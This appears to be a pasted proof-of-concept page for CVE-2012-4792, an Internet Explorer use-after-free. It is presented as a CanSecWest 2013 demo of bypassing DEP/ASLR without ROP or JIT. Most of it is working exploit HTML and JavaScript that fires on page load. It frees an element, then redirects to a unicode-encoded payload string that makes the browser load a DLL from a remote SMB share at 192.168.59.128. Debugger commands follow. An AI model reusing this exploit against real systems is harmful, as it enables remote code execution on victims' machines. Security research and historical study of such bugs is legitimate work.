Created
March 18, 2013 07:12
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CVE-2012-4792 demo of "DEP/ASLR bypass without ROP/JIT"
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| //http://pastebin.com/Y95c831m | |
| <!doctype html> | |
| <html> | |
| <head> | |
| <script> | |
| // CVE-2012-4792 demo of "DEP/ASLR bypass without ROP/JIT" in CanSecWest 2013 | |
| // Effective in 32-bit IE on x64 Windows | |
| // Will load \\192.168.59.128\x\x.dll | |
| // https://twitter.com/tombkeeper | |
| function GIFT() { | |
| var e0 = null; | |
| var e1 = null; | |
| var e2 = null; | |
| try { | |
| e0 = document.getElementById("a"); | |
| e1 = document.getElementById("b"); | |
| e2 = document.createElement("q"); | |
| e1.applyElement(e2); | |
| e1.appendChild(document.createElement('button')); | |
| e1.applyElement(e0); | |
| e2.outerText = ""; | |
| e2.appendChild(document.createElement('body')); | |
| } catch(e) { } | |
| CollectGarbage(); | |
| window.location = "\u0274\u7ffe\u4242\u4242\u0014\u0030\u0044" + | |
| "\u0012\u1212\u0004\u005c\u005c\u0031\u0039\u0032\u002e\u0031" + | |
| "\u0036\u0038\u002e\u0035\u0039\u002e\u0031\u0032\u0038\u005c" + | |
| "\u0078\u005c\u0078\u002e\u0064\u006c\u006c\u006e\u0074\u0064" + | |
| "\u006c\u006c\u002e\u0064\u006c\u006c"; | |
| } | |
| </script> | |
| </head> | |
| <body onload="eval(GIFT())"> | |
| <form id="a"> | |
| </form> | |
| <dfn id="b"> | |
| </dfn> | |
| </body> | |
| </html> |
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tlist /t | find "iexp"
cdb -hd -p 2976
g
kn 10
\ntdll!LdrHotPatchRoutine+0x131